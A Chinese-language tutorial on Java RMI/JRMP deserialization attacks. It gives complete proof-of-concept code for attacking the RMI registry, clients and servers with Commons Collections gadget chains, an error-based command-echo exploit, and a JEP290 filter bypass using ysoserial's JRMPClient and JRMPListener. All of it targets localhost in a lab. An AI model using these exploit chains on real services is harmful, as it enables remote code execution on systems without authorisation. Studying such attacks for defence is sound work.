java反序列化之RMI/JRMP反序列化漏洞

引用

Java安全之RMI反序列化

攻击注册中心

客户端与注册中心进行交互可以使用以下几种方式:

  • list
  • bind
  • rebind
  • unbind
  • lookup

这几种方法位于RegistryImpl_Skel.class文件中的dispatch方法中,如果存在readObject则可以进行反序列化攻击,具体方法内容可以自己去看一下

dispatch里面对应关系如下

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

case1相关代码中没有readObject方法,所以无法利用

当调用bind时,会用readObject读出参数名以及远程对象,此时则可以利用

当调用rebind时,会用readObject读出参数名和远程对象,这里和bind是一样的,所以都可以利用

如果服务端存在cc1相关组件漏洞,那么就可以使用反序列化攻击(有cc依赖的话相关poc都可以使用)

注册中心上调用的是RegistryImpl_Skel.class文件中的dispatch方法里面的bind(),而在客户端上调用的是RegistryImpl_Stub里面的bind()方法

Poc

bind

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}

下面的poc中并不是在执行bind方法的时候进行反序列攻击,而是在前面的readObject时进行的反序列化攻击,自己跟着走一下就知道了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class ClientPoc {

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class, transformedMap);

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, (InvocationHandler) o));
registry.bind("test",r);

}
}

Remote.class.cast这里实际上是将一个代理对象转换为了Remote对象

1
2
3
4
5
public T cast(Object obj) {
if (obj != null && !isInstance(obj))
throw new ClassCastException(cannotCastMsg(obj));
return (T) obj;
}

unbind&lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

var8 = var6.lookup(var7);
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

这两个case中也有readObject,但是和上面bind方法不一样的是只能够传入String类型,这里我们可以通过伪造连接请求进行利用,修改lookup方法代码使其可以传入对象,Registry_Stub的lookup方法内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

super.ref.invoke(var2);

Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}

return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}

Poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;


public class ClientPoc {

public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class, transformedMap);

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, (InvocationHandler) o));
// 获取ref
//registry.getClass().getSuperclass().getSuperclass()为registry对象的父类的父类
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);

// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}

自己调试可以发现即使客户端这边没有显式调用lookup方法,但是服务端依然会走到RegistryImpl_Skel.class文件中的dispatch方法中

image-20250110203458551

在服务端这边接受到的参数var2为一个类对象,强转为String对象会失败,但是在强转之前以前对var10进行反序列化了,会正常弹窗

1
2
var10 = var2.getInputStream();
var7 = (String)var10.readObject();

攻击客户端

注册中心攻击客户端

此方法可以攻击客户端和服务端

对于注册中心来说,我们还是从这几个方法触发:

  • bind
  • unbind
  • rebind
  • list
  • lookup

除了unbind和rebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener,命令如下

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345  CommonsCollections1 'calc'

exploit.JRMPListener:使用时搭配任意的gadget(如CommonCollections1)生成第二次反序列化的payload,并会在攻击机监听一个指定的端口

然后使用客户端去访问

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class Client {

public static void main(String[] args) throws Exception {

Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345);
registry.list();
}
}

就成功实现客户端的RCE

image-20250110213745359

这里即使调用unbind也会触发反序列化,推测是在之前传输一些约定好的数据时进行的序列化和反序列化。所以实际上这五种方法都可以达到注册中心反打客户端或服务端的目的

服务端攻击客户端

服务端攻击客户端,大抵可以分为以下两种情景。

1.服务端返回参数为Object对象
2.远程加载对象

服务端返回参数为Object对象

在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以cc1为例

反序列化的利用点就是UnicastRef的unmarshalValue方法

恶意类LocalUser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class LocalUser extends UnicastRemoteObject implements User {
public String name;
public int age;
public LocalUser(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}
@Override
public Object getUser() {
Object o = null;
try{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
o = ctor.newInstance(Target.class, transformedMap);
}catch(Exception e){
e.printStackTrace();
}
return o;
}
}

User接口

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
public Object getUser() throws RemoteException;
}

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;

public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",liming);
//使用CountDownLatch保持服务运行
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}

}

客户端

1
2
3
4
5
6
7
8
9
10
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();
}
}

当客户端调用服务端绑定的远程对象的getUser方法时,将反序列化服务端传来的恶意远程对象。(该过程在上一篇详细调试RMI流程中有分析过)此时将触发RCE

image-20250111161019872

远程加载对象

这个条件十分十分苛刻,在现实生活中基本不可能碰到。

当服务端的某个方法返回的对象是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化对象。

具体可以参考这篇文章,利用条件太过于苛刻了:https://paper.seebug.org/1091/#serverrmi-server

java.security.policy这个默认是没有配置的,需要我们手动去配置

攻击服务端

上面有介绍通过注册中心来攻击客户端的方法,同样的方法也可以攻击服务端,但是用处不大,下面介绍的是客户端攻击服务端的方式

服务端的远程方法存在Object参数

如果服务端的某个方法,传递的参数是Object类型的参数,当服务端接收数据时,就会调用readObject,所以我们可以从这个角度入手来攻击服务端

添加一个addUser方法,接受的是Object类型的参数

1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
public Object getUser() throws RemoteException;
public void addUser(Object user) throws RemoteException;
}

当客户端调用这个方法的时候,服务端会对传递过来的参数进行反序列化

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "b");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = c.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class, transformedMap);

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.addUser(o);
}
}

服务端处成功弹窗

远程加载对象

和上边Server打Client一样利用条件非常苛刻。

参考:https://paper.seebug.org/1091/#serverrmi

利用URLClassLoader实现回显攻击

攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端

远程demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ErrorBaseExec {

public static void do_exec(String args) throws Exception
{
//Process对象:用于获取命令执行的输入、输出或错误流
Process proc = Runtime.getRuntime().exec(args);
//proc.getInputStream():获取子进程(命令)执行后的标准输出流
//BufferedReader 和 InputStreamReader:将子进程输出的字节流逐行读取并存储
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
//每次读取一行,将其拼接到StringBuffer中,最终获取完整的输出内容
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
//构造异常并抛出
String result = sb.toString();
Exception e=new Exception(result);
throw e; //将异常抛出到调用方法的位置
}
}

该份代码的核心是执行系统命令并将执行结果作为异常信息抛出

在同一级目录下面通过下面两个命令制作成jar包

1
2
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class

客户端POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import java.net.URLClassLoader;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.util.HashMap;
import java.util.Map;


public class ClientPoc {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);

return ctor;
}

public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = "file:///E:\\mycode\\java_max\\lab_3\\RMIClient\\src\\main\\java\\RMIexploit.jar";
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");

Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}

执行后成功返回

image-20250112161428141

JEP290及其绕过

JEP290介绍

JEP290机制是用来过滤传入的序列化数据,以提高安全性,在反序列化的过程中,新增了一个filterCheck方法,所以,任何反序列化操作都会经过这个filterCheck方法,利用checkInput方法来对序列化数据进行检测,如果有任何不合格的检测,Filter将返回REJECTED。但是jep290filter需要手动设置,通过setObjectInputFilter来设置filter,如果没有设置,还是不会有白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}

if (var0.depth() > (long)REGISTRY_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
if (var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}

do {
var2 = var2.getComponentType();
} while(var2.isArray());
}

if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
}
}
}
}

也就是说只有以下几种类能够反序列化

1
2
3
4
5
6
7
8
String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

JEP290本身是JDK9的产物,但是Oracle官方做了向下移植的处理,把JEP290的机制移植到了以下三个版本以及其修复后的版本中:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

以8u131作为测试

image-20250112163752080

会被拦截,并返回REJECTED

绕过

绕过的思路在上一篇RMI的文章中讲过了,就是利用类UnicastRef

来看看yso中的JRMPClient:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package ysoserial.payloads;


import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;


@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

public Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}


public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}

其中的代码:

1
2
3
4
5
6
7
8
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;

返回了一个代理对象,上面代码中用到的类全部都在白名单,注册中心反序列化时,会调用到RemoteObjectInvacationHandler父类RemoteObject的readObject方法(因为RemoteObjectInvacationHandler没有readObject方法),在readObject里的最后一行会调用ref.readExternal方法,并将ObjectInputStream传进去:

image-20250112171621978

我们知道ref是UnicastRef,所以会调用该类中的readExternal方法

1
2
3
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}

调用了LiveRef中的read方法

image-20250112172225229

这里在上边会把LiveRef对象还原,LiveRef对象中存了我们序列化进去的ip和端口,之后会调用DGCClient#registerRefs

1
2
3
4
5
6
static void registerRefs(Endpoint var0, List<LiveRef> var1) {
DGCClient.EndpointEntry var2;
do {
var2 = DGCClient.EndpointEntry.lookup(var0);
} while(!var2.registerRefs(var1));
}

会调到DGCClient#makeDirtyCall,并把var2传进去,var2里封装了我们的endpoint信息

1
Lease var7 = this.dgc.dirty(var4, var2, new Lease(DGCClient.vmid, DGCClient.leaseValue));

最后就是我们自己创建了的dgc会调用dirty方法(中间的流程在RMI那篇文章写的挺透彻的了),var4是我们传进去的ObjID对象,var1是一个HashSet对象,里边存了我们的Endpoint信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);

try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}

super.ref.invoke(var5);
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();

这里wirteObject后,会用invoke将数据发出去,接下来从socket连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置filter,所以这里可以直接导致注册中心rce,所以我们可以伪造一个socket连接并把我们恶意序列化的对象发过去

用ysoserial启动一个恶意的服务端

1
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a Calculator

对应客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;


public class Client {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {

Registry reg = LocateRegistry.getRegistry("127.0.0.1",7777);
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1099);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("hello",proxy);

}

}

最后会成功弹出计算器

同理使用unbind、rebind、lookup也是可以的,该方式在JDK<=8u231时可用,在8u241被修复

(Ps:JEP290感觉还不是很清楚,我的理解是建立一个socket连接传输数据,注册中心会直接进行反序列化,不会先进行filter)